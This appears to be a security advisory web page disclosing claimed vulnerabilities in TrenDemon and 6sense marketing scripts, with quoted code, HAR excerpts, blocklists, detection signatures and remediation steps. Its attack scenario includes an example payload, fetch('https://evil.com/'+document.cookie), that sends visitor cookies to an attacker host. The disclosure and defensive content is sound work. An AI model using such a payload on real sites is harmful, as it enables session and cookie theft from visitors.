5 ZERO-DAYS DISCLOSED
2025-12-04// ACTIVE THREAT

ZEROSENSE+DEMONSCRIPTThe TrenDemon Zero-Day Stack

We found five zero-day vulnerabilities in the B2B marketing stack by visiting a privacy policy page with a HAR recorder. We were deanonymized while the page loaded from a compromised supply chain.

BLACKOUT://6SENSE_FORENSICS
CRITICAL
$ blackout analyze privacy-policy-page.har
[SCAN] Visiting privacy policy page...
[SCAN] HAR capture initiated
[ALERT] VISITOR DEANONYMIZED - Phone, Address exposed
[EVIDENCE] 6sense beacon contains cached PII
[EVIDENCE] polyfill.io reference detected (COMPROMISED)
→ 5 ZERO-DAYS CONFIRMED

"I just got deanonymized reading a privacy policy-while the page loaded code from a CDN compromised by a Chinese acquisition 18 months ago."

- Discovery moment, 2025-12-04

ZERO_DAY_REGISTRY

ZeroSense

CRITICAL

BTI-2025-0023-A

9.1
BTSS
TARGET
6sense
ATTACK VECTOR
Beacon PII cache re-exfiltration

6sense beacon re-transmits ENTIRE Epsilon deanonymization response (phone, address) to ALL 6sense customers via cached q.metadata.ores parameter. Visitors permanently deanonymized for 760 days.

DemonScript

CRITICAL

BTI-2025-0025-A

9.8
BTSS
TARGET
TrenDemon
ATTACK VECTOR
eval(postCompletionScript)

Any TrenDemon customer can execute arbitrary JavaScript in visitor browsers via CTA configuration. 6 distinct eval() vectors in trends.min.js.

RollCredits

CRITICAL

BTI-2025-0025-B

9.8
BTSS
TARGET
TrenDemon
ATTACK VECTOR
Video completion → RCE

Video players (Wistia, Brightcove, Vidyard) weaponized as execution triggers. Video completion events fire eval(postCompletionScript). Marketing funnel = kill chain.

MaCook'd

HIGH

BTI-2025-0025-C

7.5
BTSS
TARGET
TrenDemon
ATTACK VECTOR
Marketo cookie theft

TrenDemon harvests Marketo _mkto_trk cookie via btoa(this.context.maCookie), exfiltrates to trackingapi.trendemon.com on form submission.

PollyWannaCrack

CRITICAL

BTI-2025-0025-D

10.0*
BTSS
TARGET
TrenDemon
ATTACK VECTOR
polyfill.io supply chain

TrenDemon SDK still references polyfill.io - domain compromised by Funnull CDN in June 2024. Older browsers (IE11, Safari <9) load malware. Function misspelled as 'loadPollyills'.

DEMONSCRIPT // EVAL() ARBITRARY CODE EXECUTION

Any Customer Can Run Code on Your Visitors

TrenDemon's SDK contains 6 distinct eval() code execution vectors. Any TrenDemon customer (or attacker with CTA access) can execute arbitrary JavaScript in visitor browsers through their dashboard configuration.

CustomClickTrackingCode → eval()
exitintent_actionscript → eval()
postCompletionScript → eval()
script.innerText (embedded) → eval()

ATTACK SCENARIO: Create TrenDemon account → Configure CTA withfetch('https://evil.com/'+document.cookie) → Deploy on target site → Every visitor clicking CTA executes attacker code.

trends.min.js:475
$Trd_Utils.sendGa4Tracking = function(ctaParams, event, page) {
  var trackingCodeToEval;
  switch(event) {
    case "load":
      trackingCodeToEval = ctaParams.CustomImpressionTrackingCode;
      break;
    case "click":
      trackingCodeToEval = ctaParams.CustomClickTrackingCode;
      break;
  }
  return (null == trackingCodeToEval ? void 0 : trackingCodeToEval.length)
    ? eval(trackingCodeToEval)  // <-- ARBITRARY CODE EXECUTION
    : dataLayer.push({...})
}

POLLYWANNACRACK // POLYFILL.IO SUPPLY CHAIN

trends.min.js:13108
t.prototype.loadPollyills = function (t) {  // Note: MISSPELLED
  if (Array.prototype.findIndex) t();  // Modern browser - skip
  else {
    var e = document.createElement("script");
    e.src = "https://polyfill.io/v3/polyfill.min.js?features=...";
    // LOADS FROM COMPROMISED DOMAIN ON OLDER BROWSERS
  }
};

Compromised Supply Chain, Misspelled Function

In June 2024, polyfill.io was acquired by Funnull CDN and began injecting malware into 100,000+ websites. TrenDemon's production code STILL references the compromised domain 18 months later.

TRIGGER CONDITION

Fires when Array.prototype.findIndex unavailable (IE11, Safari <9, older mobile browsers)

EVIDENCE OF NEGLIGENCE

Function misspelled as loadPollyills instead ofloadPolyfills. This code hasn't been reviewed since it was written.

18 months post-compromise. Still in production.

ZEROSENSE // CROSS-CUSTOMER PII CACHE

Your Phone Number, Cached for 760 Days

6sense beacon re-transmits the ENTIRE Epsilon deanonymization response(including phone, address) in the q.metadata.ores parameter. Any site running 6sense can retrieve this cached PII.

THE IMPLICATION

Once 6sense deanonymizes you on ANY website, your company info (phone, address, company name) is cached and available to ALL 6sense customers for 760 dayswithout hitting the Epsilon data broker again.

IDENTITY CHAIN
6suuid → Marketo ID → 6sense UUID → Epsilon ID
→ Phone: [REDACTED] | Address: [REDACTED]
HAR line 74639
// HAR line 74639 - Beacon re-exfiltrates ENTIRE Epsilon response
GET /v1/beacon/img.gif?
  q.metadata.ores={"company":"Ronin","phone":"[REDACTED]","address":"[REDACTED]"}
  &6suuid=0868dc17054b1100573f016922000000304d0200
  &company_id=24deccd977193c4

// ANY 6sense customer can retrieve this cached PII for 760 days

ROLLCREDITS // VIDEO COMPLETION = CODE EXECUTION

The Marketing Funnel IS the Kill Chain

Video players (Wistia, Brightcove, Vidyard) aren't just tracking engagement. They're execution triggers. When the video ends and the credits roll, eval(postCompletionScript) fires.

1. Video Loads

Wistia/Brightcove/Vidyard script injected via innerHTML. Visitor identity already captured.

2. User Watches

Maximum engagement achieved. User has invested time, trust at peak. Perfect social engineering moment.

3. Credits Roll

eval(postCompletionScript) executes. Video player was just a fancy setTimeout().

Video RCE Pattern
// Video completion triggers arbitrary code execution
if (this.model.videoScript && this.model.videoScript.length) {
  var _ = document.createElement("dummy");
  _.innerHTML = this.model.videoScript;  // DOM injection
  Array.from(_.querySelectorAll("script"))
    .filter(function (t) { return t.src; })
    .forEach(function (t) {
      $Trd_Utils.isVideoScriptSourceValid(t.src) &&  // Wistia/Brightcove/Vidyard
        $Trd_Utils.loadJs(t.src, new Date().getTime().toString());
    });
}
// On video completion:
(_a.length) && eval(personal.postCompletionScript)  // RCE

MACOOK'D // MARKETO COOKIE HARVESTING

Your Marketo Cookie, Base64'd and Gone

TrenDemon harvests Marketo's _mkto_trk cookie, Base64-encodes it as maCook, and exfiltrates it to trackingapi.trendemon.com on every form submission.

DECODED COOKIE VALUE
id:958-TTM-744&token:_mch-6sense.com-33fe35d4df8d6e33441925452a7b0e80

Cross-vendor cookie sharing without consent. Links Marketo identity to TrenDemon visitor graph.

trends.min.js:4994
// Line 4994-5003 - Marketo cookie exfiltration
this.context.maCookie &&
  (p.maCook = btoa(this.context.maCookie));  // Base64 encode stolen cookie
var g = "/api/experience/new-lead?" + params;
$Trd_Tools.JSONP(g, ...)  // Exfiltrate to TrenDemon

DETECTION_SIGNATURES

NETWORK IOCs
# TrenDemon (CRITICAL)
||trackingapi.trendemon.com^
||assets.trendemon.com^
||trendemon.com^

# 6sense (CRITICAL)
||6sc.co^
||eps.6sc.co^
||b.6sc.co^

# polyfill.io (COMPROMISED)
||polyfill.io^
SCRIPT SIGNATURES
# TrenDemon SDK
"$Trd_Utils"
"$Trd_Tools"
"sendGa4Tracking"
"CustomClickTrackingCode"
"loadPollyills"  // MISSPELLED
"postCompletionScript"

# Dangerous patterns
eval(trackingCodeToEval)
eval(actionScript)
eval(personal.postCompletionScript)

REMEDIATION_PLAYBOOK

Website Owners

IMMEDIATE ACTION

1. Remove TrenDemon

Delete all TrenDemon script tags from your site. Check GTM containers.

2. Block at CDN/WAF

Add *.trendemon.com and polyfill.io to blocklist.

3. Audit 6sense Integration

Review what subprocessors 6sense deploys on your domain.

4. Review Marketo Cookies

Check if trd_ma_cookie exists. If so, your Marketo data was harvested.

5. Notify Legal/DPO

760-day cookies violate GDPR. Cross-vendor data sharing requires disclosure.

Security Teams

DETECTION & MONITORING

1. SIEM Rule: eval() in Marketing Tags

Alert on eval( calls from known marketing domains in CSP reports.

2. Network Monitor: TrenDemon API

Watch for trackingapi.trendemon.com outbound connections.

3. CSP Header Update

Remove 'unsafe-eval'. Block *.trendemon.com in script-src.

4. HAR Analysis

Capture HAR on your marketing pages. Search for $Trd_Utils or loadPollyills.

5. Supply Chain Audit

Grep all vendor scripts for polyfill.io references. Replace with cdnjs.

Site Visitors

PERSONAL PROTECTION

1. Install uBlock Origin

Add custom filter: ||trendemon.com^

2. Clear TrenDemon Cookies

Delete all cookies matching trd_* pattern.

3. Clear localStorage

Remove trd_vid_l and trd_vuid_l keys.

4. Block 6sense Domains

Add *.6sc.co to your blocklist to prevent deanonymization.

5. Use Modern Browser

polyfill.io only fires on IE11/Safari <9. Modern browsers skip the compromised CDN.

Quick Remediation Commands

# uBlock Origin Custom Filters

||trendemon.com^
||trackingapi.trendemon.com^
||assets.trendemon.com^
||6sc.co^
||polyfill.io^

# Browser Console - Clear TrenDemon Data

// Clear cookies
document.cookie.split(";").forEach(c => {
  if (c.trim().startsWith("trd_"))
    document.cookie = c.split("=")[0] +
    "=;expires=Thu, 01 Jan 1970";
});
// Clear localStorage
Object.keys(localStorage)
  .filter(k => k.startsWith("trd_"))
  .forEach(k => localStorage.removeItem(k));

Five Zero-Days. One HAR File.

This is what we found by reading their privacy policy. Imagine what's running on YOUR site.

VIEW BTI ADVISORYSCAN YOUR SITE